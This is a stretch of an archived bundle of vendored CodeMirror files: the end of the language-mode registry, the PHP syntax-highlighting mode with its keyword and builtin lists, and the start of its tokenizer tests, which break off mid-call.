    {name: "LESS", mime: "text/x-less", mode: "css", ext: ["less"]},
    {name: "LiveScript", mime: "text/x-livescript", mode: "livescript", ext: ["ls"], alias: ["ls"]},
    {name: "Lua", mime: "text/x-lua", mode: "lua", ext: ["lua"]},
    {name: "Markdown", mime: "text/x-markdown", mode: "markdown", ext: ["markdown", "md", "mkd"]},
    {name: "mIRC", mime: "text/mirc", mode: "mirc"},
    {name: "MariaDB SQL", mime: "text/x-mariadb", mode: "sql"},
    {name: "Mathematica", mime: "text/x-mathematica", mode: "mathematica", ext: ["m", "nb"]},
    {name: "Modelica", mime: "text/x-modelica", mode: "modelica", ext: ["mo"]},
    {name: "MUMPS", mime: "text/x-mumps", mode: "mumps"},
    {name: "MS SQL", mime: "text/x-mssql", mode: "sql"},
    {name: "MySQL", mime: "text/x-mysql", mode: "sql"},
    {name: "Nginx", mime: "text/x-nginx-conf", mode: "nginx", file: /nginx.*\.conf$/i},
    {name: "NSIS", mime: "text/x-nsis", mode: "nsis", ext: ["nsh", "nsi"]},
    {name: "NTriples", mime: "text/n-triples", mode: "ntriples", ext: ["nt"]},
    {name: "Objective C", mime: "text/x-objectivec", mode: "clike", ext: ["m", "mm"]},
    {name: "OCaml", mime: "text/x-ocaml", mode: "mllike", ext: ["ml", "mli", "mll", "mly"]},
    {name: "Octave", mime: "text/x-octave", mode: "octave", ext: ["m"]},
    {name: "Oz", mime: "text/x-oz", mode: "oz", ext: ["oz"]},
    {name: "Pascal", mime: "text/x-pascal", mode: "pascal", ext: ["p", "pas"]},
    {name: "PEG.js", mime: "null", mode: "pegjs", ext: ["jsonld"]},
    {name: "Perl", mime: "text/x-perl", mode: "perl", ext: ["pl", "pm"]},
    {name: "PHP", mime: "application/x-httpd-php", mode: "php", ext: ["php", "php3", "php4", "php5", "phtml"]},
    {name: "Pig", mime: "text/x-pig", mode: "pig", ext: ["pig"]},
    {name: "Plain Text", mime: "text/plain", mode: "null", ext: ["txt", "text", "conf", "def", "list", "log"]},
    {name: "PLSQL", mime: "text/x-plsql", mode: "sql", ext: ["pls"]},
    {name: "Properties files", mime: "text/x-properties", mode: "properties", ext: ["properties", "ini", "in"], alias: ["ini", "properties"]},
    {name: "Python", mime: "text/x-python", mode: "python", ext: ["py", "pyw"]},
    {name: "Puppet", mime: "text/x-puppet", mode: "puppet", ext: ["pp"]},
    {name: "Q", mime: "text/x-q", mode: "q", ext: ["q"]},
    {name: "R", mime: "text/x-rsrc", mode: "r", ext: ["r"], alias: ["rscript"]},
    {name: "reStructuredText", mime: "text/x-rst", mode: "rst", ext: ["rst"], alias: ["rst"]},
    {name: "RPM Changes", mime: "text/x-rpm-changes", mode: "rpm"},
    {name: "RPM Spec", mime: "text/x-rpm-spec", mode: "rpm", ext: ["spec"]},
    {name: "Ruby", mime: "text/x-ruby", mode: "ruby", ext: ["rb"], alias: ["jruby", "macruby", "rake", "rb", "rbx"]},
    {name: "Rust", mime: "text/x-rustsrc", mode: "rust", ext: ["rs"]},
    {name: "Sass", mime: "text/x-sass", mode: "sass", ext: ["sass"]},
    {name: "Scala", mime: "text/x-scala", mode: "clike", ext: ["scala"]},
    {name: "Scheme", mime: "text/x-scheme", mode: "scheme", ext: ["scm", "ss"]},
    {name: "SCSS", mime: "text/x-scss", mode: "css", ext: ["scss"]},
    {name: "Shell", mime: "text/x-sh", mode: "shell", ext: ["sh", "ksh", "bash"], alias: ["bash", "sh", "zsh"], file: /^PKGBUILD$/},
    {name: "Sieve", mime: "application/sieve", mode: "sieve", ext: ["siv", "sieve"]},
    {name: "Slim", mimes: ["text/x-slim", "application/x-slim"], mode: "slim", ext: ["slim"]},
    {name: "Smalltalk", mime: "text/x-stsrc", mode: "smalltalk", ext: ["st"]},
    {name: "Smarty", mime: "text/x-smarty", mode: "smarty", ext: ["tpl"]},
    {name: "Solr", mime: "text/x-solr", mode: "solr"},
    {name: "Soy", mime: "text/x-soy", mode: "soy", ext: ["soy"], alias: ["closure template"]},
    {name: "SPARQL", mime: "application/sparql-query", mode: "sparql", ext: ["rq", "sparql"], alias: ["sparul"]},
    {name: "Spreadsheet", mime: "text/x-spreadsheet", mode: "spreadsheet", alias: ["excel", "formula"]},
    {name: "SQL", mime: "text/x-sql", mode: "sql", ext: ["sql"]},
    {name: "Squirrel", mime: "text/x-squirrel", mode: "clike", ext: ["nut"]},
    {name: "Swift", mime: "text/x-swift", mode: "swift", ext: ["swift"]},
    {name: "MariaDB", mime: "text/x-mariadb", mode: "sql"},
    {name: "sTeX", mime: "text/x-stex", mode: "stex"},
    {name: "LaTeX", mime: "text/x-latex", mode: "stex", ext: ["text", "ltx"], alias: ["tex"]},
    {name: "SystemVerilog", mime: "text/x-systemverilog", mode: "verilog", ext: ["v"]},
    {name: "Tcl", mime: "text/x-tcl", mode: "tcl", ext: ["tcl"]},
    {name: "Textile", mime: "text/x-textile", mode: "textile", ext: ["textile"]},
    {name: "TiddlyWiki ", mime: "text/x-tiddlywiki", mode: "tiddlywiki"},
    {name: "Tiki wiki", mime: "text/tiki", mode: "tiki"},
    {name: "TOML", mime: "text/x-toml", mode: "toml", ext: ["toml"]},
    {name: "Tornado", mime: "text/x-tornado", mode: "tornado"},
    {name: "troff", mime: "troff", mode: "troff", ext: ["1", "2", "3", "4", "5", "6", "7", "8", "9"]},
    {name: "TTCN", mime: "text/x-ttcn", mode: "ttcn", ext: ["ttcn", "ttcn3", "ttcnpp"]},
    {name: "TTCN_CFG", mime: "text/x-ttcn-cfg", mode: "ttcn-cfg", ext: ["cfg"]},
    {name: "Turtle", mime: "text/turtle", mode: "turtle", ext: ["ttl"]},
    {name: "TypeScript", mime: "application/typescript", mode: "javascript", ext: ["ts"], alias: ["ts"]},
    {name: "Twig", mime: "text/x-twig", mode: "twig"},
    {name: "VB.NET", mime: "text/x-vb", mode: "vb", ext: ["vb"]},
    {name: "VBScript", mime: "text/vbscript", mode: "vbscript", ext: ["vbs"]},
    {name: "Velocity", mime: "text/velocity", mode: "velocity", ext: ["vtl"]},
    {name: "Verilog", mime: "text/x-verilog", mode: "verilog", ext: ["v"]},
    {name: "VHDL", mime: "text/x-vhdl", mode: "vhdl", ext: ["vhd", "vhdl"]},
    {name: "XML", mimes: ["application/xml", "text/xml"], mode: "xml", ext: ["xml", "xsl", "xsd"], alias: ["rss", "wsdl", "xsd"]},
    {name: "XQuery", mime: "application/xquery", mode: "xquery", ext: ["xy", "xquery"]},
    {name: "YAML", mime: "text/x-yaml", mode: "yaml", ext: ["yaml", "yml"], alias: ["yml"]},
    {name: "Z80", mime: "text/x-z80", mode: "z80", ext: ["z80"]},
    {name: "mscgen", mime: "text/x-mscgen", mode: "mscgen", ext: ["mscgen", "mscin", "msc"]},
    {name: "xu", mime: "text/x-xu", mode: "mscgen", ext: ["xu"]},
    {name: "msgenny", mime: "text/x-msgenny", mode: "mscgen", ext: ["msgenny"]}
  ];
  // Ensure all modes have a mime property for backwards compatibility
  for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
    var info = CodeMirror.modeInfo[i];
    if (info.mimes) info.mime = info.mimes[0];
  }

  CodeMirror.findModeByMIME = function(mime) {
    mime = mime.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.mime == mime) return info;
      if (info.mimes) for (var j = 0; j < info.mimes.length; j++)
        if (info.mimes[j] == mime) return info;
    }
  };

  CodeMirror.findModeByExtension = function(ext) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.ext) for (var j = 0; j < info.ext.length; j++)
        if (info.ext[j] == ext) return info;
    }
  };

  CodeMirror.findModeByFileName = function(filename) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.file && info.file.test(filename)) return info;
    }
    var dot = filename.lastIndexOf(".");
    var ext = dot > -1 && filename.substring(dot + 1, filename.length);
    if (ext) return CodeMirror.findModeByExtension(ext);
  };

  CodeMirror.findModeByName = function(name) {
    name = name.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.name.toLowerCase() == name) return info;
      if (info.alias) for (var j = 0; j < info.alias.length; j++)
        if (info.alias[j].toLowerCase() == name) return info;
    }
  };
});
PK     0w\U G  G  @  customizer/framework/assets/js/vendor/codemirror/mode/php/php.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"), require("../clike/clike"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed", "../clike/clike"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function keywords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // Helper for phpString
  function matchSequence(list, end, escapes) {
    if (list.length == 0) return phpString(end);
    return function (stream, state) {
      var patterns = list[0];
      for (var i = 0; i < patterns.length; i++) if (stream.match(patterns[i][0])) {
        state.tokenize = matchSequence(list.slice(1), end);
        return patterns[i][1];
      }
      state.tokenize = phpString(end, escapes);
      return "string";
    };
  }
  function phpString(closing, escapes) {
    return function(stream, state) { return phpString_(stream, state, closing, escapes); };
  }
  function phpString_(stream, state, closing, escapes) {
    // "Complex" syntax
    if (escapes !== false && stream.match("${", false) || stream.match("{$", false)) {
      state.tokenize = null;
      return "string";
    }

    // Simple syntax
    if (escapes !== false && stream.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/)) {
      // After the variable name there may appear array or object operator.
      if (stream.match("[", false)) {
        // Match array operator
        state.tokenize = matchSequence([
          [["[", null]],
          [[/\d[\w\.]*/, "number"],
           [/\$[a-zA-Z_][a-zA-Z0-9_]*/, "variable-2"],
           [/[\w\$]+/, "variable"]],
          [["]", null]]
        ], closing, escapes);
      }
      if (stream.match(/\-\>\w/, false)) {
        // Match object operator
        state.tokenize = matchSequence([
          [["->", null]],
          [[/[\w]+/, "variable"]]
        ], closing, escapes);
      }
      return "variable-2";
    }

    var escaped = false;
    // Normal string
    while (!stream.eol() &&
           (escaped || escapes === false ||
            (!stream.match("{$", false) &&
             !stream.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/, false)))) {
      if (!escaped && stream.match(closing)) {
        state.tokenize = null;
        state.tokStack.pop(); state.tokStack.pop();
        break;
      }
      escaped = stream.next() == "\\" && !escaped;
    }
    return "string";
  }

  var phpKeywords = "abstract and array as break case catch class clone const continue declare default " +
    "do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final " +
    "for foreach function global goto if implements interface instanceof namespace " +
    "new or private protected public static switch throw trait try use var while xor " +
    "die echo empty exit eval include include_once isset list require require_once return " +
    "print unset __halt_compiler self static parent yield insteadof finally";
  var phpAtoms = "true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__";
  var phpBuiltin = "func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents file_put_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count";
  CodeMirror.registerHelper("hintWords", "php", [phpKeywords, phpAtoms, phpBuiltin].join(" ").split(" "));
  CodeMirror.registerHelper("wordChars", "php", /[\w$]/);

  var phpConfig = {
    name: "clike",
    helperType: "php",
    keywords: keywords(phpKeywords),
    blockKeywords: keywords("catch do else elseif for foreach if switch try while finally"),
    defKeywords: keywords("class function interface namespace trait"),
    atoms: keywords(phpAtoms),
    builtin: keywords(phpBuiltin),
    multiLineStrings: true,
    hooks: {
      "$": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "variable-2";
      },
      "<": function(stream, state) {
        var before;
        if (before = stream.match(/<<\s*/)) {
          var quoted = stream.eat(/['"]/);
          stream.eatWhile(/[\w\.]/);
          var delim = stream.current().slice(before[0].length + (quoted ? 2 : 1));
          if (quoted) stream.eat(quoted);
          if (delim) {
            (state.tokStack || (state.tokStack = [])).push(delim, 0);
            state.tokenize = phpString(delim, quoted != "'");
            return "string";
          }
        }
        return false;
      },
      "#": function(stream) {
        while (!stream.eol() && !stream.match("?>", false)) stream.next();
        return "comment";
      },
      "/": function(stream) {
        if (stream.eat("/")) {
          while (!stream.eol() && !stream.match("?>", false)) stream.next();
          return "comment";
        }
        return false;
      },
      '"': function(_stream, state) {
        (state.tokStack || (state.tokStack = [])).push('"', 0);
        state.tokenize = phpString('"');
        return "string";
      },
      "{": function(_stream, state) {
        if (state.tokStack && state.tokStack.length)
          state.tokStack[state.tokStack.length - 1]++;
        return false;
      },
      "}": function(_stream, state) {
        if (state.tokStack && state.tokStack.length > 0 &&
            !--state.tokStack[state.tokStack.length - 1]) {
          state.tokenize = phpString(state.tokStack[state.tokStack.length - 2]);
        }
        return false;
      }
    }
  };

  CodeMirror.defineMode("php", function(config, parserConfig) {
    var htmlMode = CodeMirror.getMode(config, "text/html");
    var phpMode = CodeMirror.getMode(config, phpConfig);

    function dispatch(stream, state) {
      var isPHP = state.curMode == phpMode;
      if (stream.sol() && state.pending && state.pending != '"' && state.pending != "'") state.pending = null;
      if (!isPHP) {
        if (stream.match(/^<\?\w*/)) {
          state.curMode = phpMode;
          if (!state.php) state.php = CodeMirror.startState(phpMode, htmlMode.indent(state.html, ""))
          state.curState = state.php;
          return "meta";
        }
        if (state.pending == '"' || state.pending == "'") {
          while (!stream.eol() && stream.next() != state.pending) {}
          var style = "string";
        } else if (state.pending && stream.pos < state.pending.end) {
          stream.pos = state.pending.end;
          var style = state.pending.style;
        } else {
          var style = htmlMode.token(stream, state.curState);
        }
        if (state.pending) state.pending = null;
        var cur = stream.current(), openPHP = cur.search(/<\?/), m;
        if (openPHP != -1) {
          if (style == "string" && (m = cur.match(/[\'\"]$/)) && !/\?>/.test(cur)) state.pending = m[0];
          else state.pending = {end: stream.pos, style: style};
          stream.backUp(cur.length - openPHP);
        }
        return style;
      } else if (isPHP && state.php.tokenize == null && stream.match("?>")) {
        state.curMode = htmlMode;
        state.curState = state.html;
        if (!state.php.context.prev) state.php = null;
        return "meta";
      } else {
        return phpMode.token(stream, state.curState);
      }
    }

    return {
      startState: function() {
        var html = CodeMirror.startState(htmlMode)
        var php = parserConfig.startOpen ? CodeMirror.startState(phpMode) : null
        return {html: html,
                php: php,
                curMode: parserConfig.startOpen ? phpMode : htmlMode,
                curState: parserConfig.startOpen ? php : html,
                pending: null};
      },

      copyState: function(state) {
        var html = state.html, htmlNew = CodeMirror.copyState(htmlMode, html),
            php = state.php, phpNew = php && CodeMirror.copyState(phpMode, php), cur;
        if (state.curMode == htmlMode) cur = htmlNew;
        else cur = phpNew;
        return {html: htmlNew, php: phpNew, curMode: state.curMode, curState: cur,
                pending: state.pending};
      },

      token: dispatch,

      indent: function(state, textAfter) {
        if ((state.curMode != phpMode && /^\s*<\//.test(textAfter)) ||
            (state.curMode == phpMode && /^\?>/.test(textAfter)))
          return htmlMode.indent(state.html, textAfter);
        return state.curMode.indent(state.curState, textAfter);
      },

      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      lineComment: "//",

      innerMode: function(state) { return {state: state.curState, mode: state.curMode}; }
    };
  }, "htmlmixed", "clike");

  CodeMirror.defineMIME("application/x-httpd-php", "php");
  CodeMirror.defineMIME("application/x-httpd-php-open", {name: "php", startOpen: true});
  CodeMirror.defineMIME("text/x-php", phpConfig);
});
PK     0w\    A  customizer/framework/assets/js/vendor/codemirror/mode/php/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "php");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT('simple_test',
     '[meta <?php] ' +
     '[keyword echo] [string "aaa"]; ' +
     '[meta ?>]');

  MT('variable_interpolation_non_alphanumeric',
     '[meta <?php]',
     '[keyword echo] [string "aaa$~$!$@$#$$$%$^$&$*$($)$.$<$>$/$\\$}$\\\"$:$;$?$|$[[$]]$+$=aaa"]',
     '[meta ?>]');

  MT('variable_interpolation_digits',
     '[meta <?php]',
     '[keyword echo] [string "aaa$1$2$3$4$5$6$7$8$9$0aaa"]',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_1',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $aaa][string .aaa"];',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_2',
     '[meta <?php]',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2]',         ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2345]',      ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[number 2.3]',       ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[variable aaaaa]',   ']][string aa"];',
     '[keyword echo] [string "][variable-2 $aaaa][[','[variable-2 $aaaaa]',']][string aa"];',

     '[keyword echo] [string "1aaa][variable-2 $aaaa][[','[number 2]',         ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[number 2345]',      ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[number 2.3]',       ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[variable aaaaa]',   ']][string aa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][[','[variable-2 $aaaaa]',']][string aa"];',
     '[meta ?>]');

  MT('variable_interpolation_simple_syntax_3',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string .aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa][string ->][variable-2 $aaaaa][string .aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string [[2]].aaaaaa"];',
     '[keyword echo] [string "aaa][variable-2 $aaaa]->[variable aaaaa][string ->aaaa2.aaaaaa"];',
     '[meta ?>]');

  MT('variable_interpolation_escaping',
     '[meta <?php] [comment /* Escaping */]',
     '[keyword echo] [string "aaa\\$aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa\\$aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\$aaaa[[asd]]aaa.aaa"];',
     '[keyword echo] [string "aaa{\\$aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa{\\$aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa{\\aaaaa[[asd]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa->aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa[[2]]aaa.aaa"];',
     '[keyword echo] [string "aaa\\${aaaa[[asd]]aaa.aaa"];',
     '[meta ?>]');

  MT('variable_interpolation_complex_syntax_1',
     '[meta <?php]',
     '[keyword echo] [string "aaa][variable-2 $]{[variable aaaa]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable-2 $aaaa]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable-2 $aaaa][[','  [number 42]',']]}[string ->aaa.aaa"];',
     '[keyword echo] [string "aaa][variable-2 $]{[variable aaaa][meta ?>]aaaaaa');

  MT('variable_interpolation_complex_syntax_2',
     '[meta <?php] [comment /* Monsters */]',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*}?>} $aaa<?php } */]}[string ->aaa.aaa"];',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*}?>*/][[','  [string "aaa][variable-2 $aaa][string {}][variable-2 $]{[variable aaa]}[string "]',']]}[string ->aaa.aaa"];',
     '[keyword echo] [string "][variable-2 $]{[variable aaa][comment /*} } $aaa } */]}[string ->aaa.aaa"];');


  function build_recursive_monsters(nt, t, n){
    var monsters = [t];
    for (var i = 1; i <= n; ++i)
      monsters[i] = nt.join(monsters[i - 1]);
    return monsters;
  }

  var m1 = build_recursive_monsters(
    ['[string "][variable-2 $]{[variable aaa] [operator +] ', '}[string "]'],
    '[comment /* }?>} */] [string "aaa][variable-2 $aaa][string .aaa"]',
    10
  );

  MT('variable_interpolation_complex_syntax_3_1',
     '[meta <?php] [comment /* Recursive monsters */]',
     '[keyword echo] ' + m1[4] + ';',
     '[keyword echo] ' + m1[7] + ';',
     '[keyword echo] ' + m1[8] + ';',
     '[keyword echo] ' + m1[5] + ';',
     '[keyword echo] ' + m1[1] + ';',
     '[keyword echo] ' + m1[6] + ';',
     '[keyword echo] ' + m1[9] + ';',
     '[keyword echo] ' + m1[0] + ';',
     '[keyword echo] ' + m1[10] + ';',
     '[keyword echo] ' + m1[2] + ';',
     '[keyword echo] ' + m1[3] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  var m2 = build_recursive_monsters(
    ['[string "a][variable-2 $]{[variable aaa] [operator +] ', ' [operator +] ', '}[string .a"]'],
    '[comment /* }?>{{ */] [string "a?>}{{aa][variable-2 $aaa][string .a}a?>a"]',
    5
  );

  MT('variable_interpolation_complex_syntax_3_2',
     '[meta <?php] [comment /* Recursive monsters 2 */]',
     '[keyword echo] ' + m2[0] + ';',
     '[keyword echo] ' + m2[1] + ';',
     '[keyword echo] ' + m2[5] + ';',
     '[keyword echo] ' + m2[4] + ';',
     '[keyword echo] ' + m2[2] + ';',
     '[keyword echo] ' + m2[3] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  function build_recursive_monsters_2(mf1, mf2, nt, t, n){
    var monsters = [t];
    for (var i = 1; i <= n; ++i)
      monsters[i] = nt[0] + mf1[i - 1] + nt[1] + mf2[i - 1] + nt[2] + monsters[i - 1] + nt[3];
    return monsters;
  }

  var m3 = build_recursive_monsters_2(
    m1,
    m2,
